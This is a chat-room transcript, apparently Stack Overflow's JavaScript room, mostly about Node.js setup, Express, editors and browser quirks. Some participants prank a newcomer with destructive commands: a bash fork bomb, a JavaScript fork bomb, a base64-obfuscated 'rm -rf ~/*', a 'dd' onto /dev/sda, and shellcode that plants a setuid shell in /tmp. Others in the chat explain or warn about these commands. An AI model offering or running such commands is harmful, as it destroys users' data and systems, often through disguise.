« first day (1231 days earlier)      last day (3942 days later) » 

21:00
@RUJordan root access, and yes
root sorry, I don't know why I said route
sorry for my easy question, but how would I go about resetting an associative array in JavaScript? in PHP http://ca3.php.net/array_values (psst: no for ... in loops :))

so {5:"",7:"",9:""} => {0:"",1:"",2:""}
First off, there are no associative arrays in JavaScript. They're called objects.
I just made a massive edit to an answer, would anyone mind proof-reading?
var keys = Object.keys(obj),
      arr = [];

keys.forEach(function(item) {
    arr.push(item);
});
21:04
@RyanKinal Y U NO MAP?
Because I always forget about map
I just have a mental block against it, I guess
thanks I think Object keys is what I needed
Also, if I got the DOM wrong let me know too.
That's likely
events.js:72 throw er; //unhandled 'error' event
Error: listen EACCES
Does that mean a port conflict on 80?
Did you google it?
21:08
Yeah, you running Apache?
Yeah
you'll need to turn it off
sudo service apache2 stop on Ubuntu, sudo apachectl stop elsewhere
Don't I need apache?
not in this case.
You could use it to point to the Node server (running on another port), but that's beyond the scope of where you are.
true, ok let's try that
user1596138
21:13
@RUJordan try this in terminal
user1596138
:(){:|:&};:
!!> :(){:|:&};:
@SomeKittensUx2666 "SyntaxError: syntax error"
don't try that
In the terminal.
@Jhawins rolls eyes
21:14
!!learn :(){:|:&};: Not if I fork you first!
@SomeKittensUx2666 Command :(){:|:&};: learned
What does that do?
That's a fork bomb.
In computing, a fork bomb (also called rabbit virus or wabbit) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources. History Ca. 1978 an early variant of a fork bomb called wabbit was reported to run on a System/360. It may have descended from a similar attack called RABBITS reported from 1969 on a Burroughs 5500 at the University of Washington. Implementation Fork bombs operate both by consuming CPU time in the process of forking, and by saturating the operating system's process table. A basic implementation of a fork...
A fork bomb..?
@RUJordan Spawns new processes until your computer is overwhelmed.
21:14
@BenjaminGruenbaum Nice answer
yikes
user1596138
I got a better one
@Zirak what'd you do better? That's what I'm asking about.
There's still a port conflict, how do I see what is binded to port 80?
<script>
while (true) {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>
user1596138
21:16
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
JS fork bomb, from wikipedia - probably only works in IE6
user1596138
@BenjaminGruenbaum Yeah that can actually be modified to kill android phones easily.
Srsly? window.open() works?
user1596138
Note the word "modified"
user1596138
21:17
Same idea though
user1596138
But if you make the new windows run some kind of looping math operation the browser doesn't seem to realize it's being played.
Ahaaa so I have to run sudo node server.js to root port 80?
@BenjaminGruenbaum The only major thing is explaining a bit about the timer. Other than that, slapping in line numbers to the last two links.
@RUJordan What gave it away? The root part?
Thanks, I might do that, those are good suggestions.
21:19
To listen on ports <= 1024, you have to be root.
@Zirak I thought .listen(80) would do it. New to unix, still not used to sudoing
I'm more of a sudon't
:D
listen would run itself as root?
Just use 1337
Because it knows your password?
Obvi.
21:21
@Zirak Yeah, you should store your password as plaintext in a publicly accessible folder so you can get it if you forget.
I was going to give you guys root access but NOT ANYMORE.
>=|
user1596138
@RUJordan rlemon has infected your server. Want to know how to get rid of him?
Just run google-antivirus.sh to have google protect your server. Trust me it's totally legit.
user1596138
dd if=rlemon of=/dev/sda
user1596138
Totes workz
21:25
sudo apt-get install icetea ... GET 200 "downloading ARNIE PALMIES"?
sudo apt-get install girlfriend //err package not found
That's saddeningly accurate
Well not so sad, I don't want a gf yet.
pacman -S girlfriend would probably work...
@SomeKittensUx2666 she found my package
user1596138
21:27
echo cm0gLXJmIH4vKg== | base64 -d
^ evil
@Jhawins what is this voodoo you keep trying to get me to run? xD
oh hay, my node server got kicked
(pinged)
user1596138
!!> atob('cm0gLXJmIH4vKg==')
@Jhawins "rm -rf ~/*"
i like how they named the base64 methods a to b and b to a
user1596138
21:30
Basically all of it would destroy... Well, everything important.
lol, so lazy
rm = remove -rf recursive?
user1596138
Haha I wondered wtf atob meant.
@eazimmerman what?
21:30
i think rm = reformat mount and -rf = recursive format (nevermind)
@BenjaminGruenbaum atob() and btoa()
user1596138
@eazimmerman ... You better go here too explainshell.com/explain?cmd=rm+-rf+~%2F*
Is that what rm stands for?
user1596138
Nope lol
that's a nasty command lol
user1596138
;)
21:32
@eazimmerman I meant, what do they stand for?
Yeah, I accidentally deleted half my home directory one time.
I guessed Ascii to Binary and vice versa, but I don't know.
How do you recover from that?
Just... redo everything?
Have backups
Luckily, I did
... I should ball my shoot up when I get home
Did... did you just ask us to play basketball with you?
I'd love to O:
21:35
s/shoot/shit/
@phenomnomnominal, @jAndy What editors do you use?
@BenjaminGruenbaum i think a and b are just letters to represent which direction the encode/decode is going
s/ball/back/
Oh yeah: I'm putting together a small article to answer the question "which editor/IDE should I use" (spoiler: "it depends, choose your own"). Recommendations welcome.
21:36
Swype is good most of the time. Not this time.
I do miss swype a wee bit
@Zirak my vote goes to ST3
But you should be thorough and list pros and cons for each example
ST2/3 are good
@Zirak it's really not a fair fight.
It's impossible to work on big projects with anything that doesn't have source insight.
You need to remember 5 more things at once otherwise.
user1596138
Hey @RUJordan you got a Mac?
Obviously, the last sentence is "loljoking, just use Visual Studio"
21:38
Yes
Maybe one day ternjs gets better and it'll become a fair fight... until then
user1596138
@RUJordan open /Applications/* //lol
Won't that just open all my applications and trash my RAM? :P
@Zirak ... Evil
user1596138
Pretty much :D
21:40
See, I'm not THAT unix illiterate :P
user1596138
When I lay in bed at night waiting to fall asleep... I think of horrible horrible/annoying situations to create for other people.
I want to be more like you.
I usually think about heroic situations I could potentially handle.
user1596138
//jk... Sorta
Or argument comebacks way past due.
21:41
indiegogo.com/projects/tern-intelligent-javascript-editing If you want OK other editors support this @Zirak
user1596138
^ yup
I want you to be more like me.
Too late
user1596138
> Dammit I should've said "go eat a dick!"
@BenjaminGruenbaum Yeah right, like anything can compete with Visual Studio
21:42
It's nowhere close to WS or VS with RS, but it's the closest.
I just burned emacs and Vim
Sent you a picture
Along with the knifing of Ken Thompson
@Zirak well some other editors have killer features - for example EMACS is great for insurance scam since it gives you carpal tunnel syndrome.
heh yay I figured out the parent().next situation..
I def could improve it but I gotta get shit done yo.
@BenjaminGruenbaum that looks pretty sweet
damn made a lot of money
21:44
@Zirak did I show you Bob Martin on editors :P?
That'll probably be good
That guy is silly, but that bit is pretty funny.
Link?
Goddamn it's the mobile interface fucking horrid.
21:46
Oh dear lord the task manager...
Is there an easier way to keep your node server listening? Like a permanent server. I just read this article but I have no idea blog.nodejitsu.com/keep-a-nodejs-server-up-with-forever
emacs has a mobile interface?
@RUJordan uh, don't Ctrl+C?
Because right now, I'm not SSH'd into my server so my website is "down"
@RUJordan what do you mean 'easier way'? What troubles are you finding now?
Easier way than the article, I haven't tried anything yet
Oops! Google Chrome could not connect to sourceundead.com
You can use screen
or tmux
21:47
@kittens no. I'm chatting on mobile
... Because beer
@SomeKittensUx2666 lemme look up that
@BenjaminGruenbaum hahaha
@Zirak textmate 2
user1596138
Scroll through this page
Control Alt M vroom - extract method :D
user1596138
That's the most awful design I've ever used. That literally pisses me off.
@SomeKittensUx2666 sudo screen node server.js?
aye.
you might want to get something like supervisor as well
OHHHHH
21:51
when your node app crashes it will restart it automatically
72
Q: Node.js as a background service

Peter KruithofI want my node.js server to run in the background, ie: when I close my terminal I want my server to keep running. I've googled this and came up with this tut, however it doesn't work as intended. So instead of using that daemon script, I thought I just used the output redirection (the 2>&1 >> fil...

Most editors can't even extract a method, they simply doesn't understand the syntax tree well enough - what a joke :D
I might try that forever
Do I actually need the forever module to keep a node app running?
yeah forever works too
@RyanKinal shrugs idk I just use supervisor always
21:52
@RUJordan noooot quite
@RyanKinal don't close it. It'll keep running :D
It's perfectly fine to recover from errors - node coders just really really suck at it.
@BenjaminGruenbaum It's like a bad dream.
ON ERR RESUME NEXT()
You wouldn't see an erlang server go down because of every error :/
Right... So if I node app.js & it should be fine?
21:55
hmm
@RyanKinal Until you close the session
Ah. Fair enough.
@Zirak the one that stops the burning
Haa this is cool, screen works, forever works too
brb
user1596138
21:59
@Zirak lol good guy Windows pretending it isn't eating your resources by the pound
user1596138
(And electrons don't weigh much)
Huh. Android's font rendering is far better than Windows.
Never really noticed until now
Kind of a weird question, and I don't intend on doing it -- can you use jQuery with node?
I don't see why not, but I feel like the module system wouldn't like that, or how I would include it
@RUJordan you have to fake the DOM, but yep
Fake the DOM?
22:12
it has a dependency on document
hrmmm this is tough
But if you want to run website stuff you can do it headless in node without actually rendering the site, which means you need a module that emulates the DOM in some way
Sounds like a miserable idea
Pretty much.
Can be useful for automated functional testing though.
So it's a bitch to bind event handlers to the DOM?
Or anything DOM related?
22:16
he wants two way data binding
You don't have a DOM in node?
Is someone familiar with this issue? Opera loading the DOM of a big part of the page (visible if I navigate the inspector) but not displaying anything but the header and footer?
Apparently it has issues with my image slideshow, but that doesn't appear on all pages, and no page displays properly.
@rlemon so I need to learn something like angular as well?
22:20
well you can just use websockets and ugly code like I did
I just don't understand how I can do a simple HTML form with node, and include a normal .js file that can target elements
That's a lot of what I'll be needing to do
DOM manipulations
are you using express. and what do you mean "DOM manipulations"
Removed the script inclusion and there are no JS errors anymore now. But the core of the page still isn't displaying.
You mean server-side manipulation?
No, I was advised to not use express at first
22:21
(express is overrated. I made a complete app without it)
eh, I think it makes shit a hell of a lot easier
Like, my games map is built with JS, and it uses a lot of click events
I do suppose it's good for productivity though
Dynamic elements, form validation, etc
Since it doesn'T seem to be a JS problem in the end I'll go ask in the HTML room
22:23
@Ariane Looks fine to me, and I run Opera
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req,res) {
    res.render('public/index.html');
});
@Kendall o.o Version? OS?
put /js /css /img etc into /public
@Ariane Whatever the latest is on Win7
22:25
And with that I can do something like... var x = document.querySelector("[name*="derp"]).textContent = "herp"?
@Ken I'll try to update this one then. Even though at school it won't be permanent...
Wat.
It says I have the latest.
The hell is this?
no way hahahah that's awesome
@Ariane What version exactly?
@RUJordan that would be on the client. why not
Version
12.16
Révision
1860
Plate-forme
Win32
Système
Windows 7
22:26
facepalm
get with the times.
@rlemon I think I'm having trouble grasping all this at once
You're using the old version of Opera
node is like php was for you
think about it that way.
@Kendall But if I do check for updates it says I have the latest version.
The latest version of the old version
22:27
there is no direct client interaction unless using a framework or writing it in yourself using something like websockets.
Use the new Opera
runs on Webkit
@rlemon ok, so I can run javascript like normal, send ajax requests to node, which queries the db and returns data, and the rest is normal?
(conceptually)
@Kendall What. Shouldn't it be telling me "you're using the old Opera, redownload" or something? Should've done that. It's odd. How would the IT people know if they check for updates and it says nothing? That's kinda sad.
yes
Ballin
22:28
however fuck ajax man. websockets are all the new rage.
@Kendall when did Opera make the switch?
@Ariane Because it's a whole new branch
@RyanKinal months ago
@Kendall But even if it is, if the old branch is obsolete, if I were them I'd want to redirect users to the new branch.
Someone with more time than me please answer this properly thanks stackoverflow.com/q/22106936/1348195
> There are approximately one hundred million tutorials on the web for getting a "Hello, World!" app running with Node.js. This is great! It's especially great if your goal is to greet the world and then give up on your web career and go spend the rest of your life as, like, a jockey or something.
How relevant
22:29
@Ariane I don't think it technically is obsolete
Well if it doesn't display most of my page I'll say it is. D:
@rlemon I'm excited to use websockets, I can't wait to be able to see players on the map in real time
It's akin to automatically upgrading Win7 to Win8, rather than continuing to provide service packs
@Ariane would you tell IE users that?
@Ariane not obsolete, just broken
22:29
@Benjamin IE 11 is fine, no?
Shows how much attention I pay to Opera
@RUJordan not hard at all.
I got up and running in no time
You're also way smarter than I am
hahaha.. ha
22:30
(well.. experienced might be a better word)
So anyway.
I'll try Opera at home. And tell the teacher the school is using an old, broken Opera.
@RUJordan I wouldn't say "not hard" if I thought it would be for you
ohstop.jpg
fuck wrong one
I'm still annoyed at my JS slideshow that's "100% compatible down to IE 8" that doesn't work at all on IE 9, let alone 8, but ugh, I'll drop that.
ohhyou.jpg
22:32
one h?
ohyou.jpg?
stop.jpg
drop the question mark?
ohyou.jpg
I love that one
and the fact it unoneboxes in ..30? seconds
Rofl. It's not working well at all on Safari PC either. But uh. That was dropped long ago. I guess it's forgivable to not be compatible with a dead browser.
Okay, Windows tests done. I'll go get a mac and hope things don't explode. Wish me luck.
And thanks for reassuring me about Opera.
The new Opera is much more compatible, but less cool.
22:34
!!ooOOoo00oo
Dunno. Never used it.
Anyway, Mac time. Bye-bye.
Pro tip: Nobody uses Opera in the wild
@RUJordan 90 seconds
Pro tip: They do
22:35
timeout limit is 2 minutes
I put a 90 second timer in case of lag ?
!!tell KendallFrey opinion
Not like I care about your opinion of my opinion...
Okay. An insignificant percentage of people use Opera.
jordan@SourceUndead:/var/www/testing$ sudo node
> express --sessions nodetest1
...
what the crap, express is installed >=(
22:47
you're trying to use it as a command line util in the node REPL
> var e = require('express');
That's it?
Bah. Damn tutorial leading me astray.
user1596138
I'm working myself out of a job in literally 50% of the expected time :/
user1596138
Expected 2 years. Now expecting to collect that lump sum by this time next year. I guess it's a good thing... But also I have to find a new job , not want to, have to haha.
o.O
@Loktar
user1596138
Holy shit ^
22:56
I highly doubt a human did that
that's beyond nuts
@Mosho Do you know any Japanese?
don't you mean koreans
Asians in general
but anyway, usually when it's real they at least show the actual person playing
23:00
I'm so pro I have the js chat open on 2 machines
1 click purchase on amazon is... dangerous.
I feel like trying something new
working from bed
Been there, done that. It's nice
@RUJordan yeah... That 1-click gets me all the time
Mostly on the music front, though
Like I just spend $76 in < 1 second
Okay, I'm usually not that bad
But I recently spent about $160 on Amazon
23:05
!!doge bed,nice,cozy,sleepy
      wow
so bed
               very nice
                           such cozy
many sleepy
lol wow @rlemon
I wonder if thats a human playing or AI
@Loktar who's David Lesches?
umm idk
You follow him on Twitter
23:08
I follow a lot of people :P
if they follow me I follow them back always
hmm hes not following me
idk man.
@SomeGuy (maybe @BadgerGirl too) medium.com/p/25bdf0c0a88a
SomeGuy is a lesbian?
No, he's someone who's interested in good writing
23:20
@Zirak Holy crap. That is a great article.
Damn. Powerful stuff.
@Loktar ever played this?
@Zirak :)
23:39
Is it actually faster these days to create your code in C/C++ and use clang/emscripten on it, or just create native JS code and heavily optimise it?
Just write stuff
@Qantas94Heavy What are you planning to do?
I'm trying to make some code on node that builds browser extension files, without having to deal with the cross-platform mess of addons. Involves having to zip files, generate public/private RSA keypairs, etc.
O.O
Good luck
@esdebon Welcome to the JavaScript chat! Please review the room pseudo-rules. Please don't ask if you can ask or if anyone's around; just ask your question, and if anyone's free and interested they'll help.
23:47
@Qantas94Heavy I don't see where the "need for speed" comes into play
Just curious there, trying to see whether there's actually any real gain to do so. (waits for incoming premature optimisation quote)
Well, I guess then you know the trade-off

« first day (1231 days earlier)      last day (3942 days later) »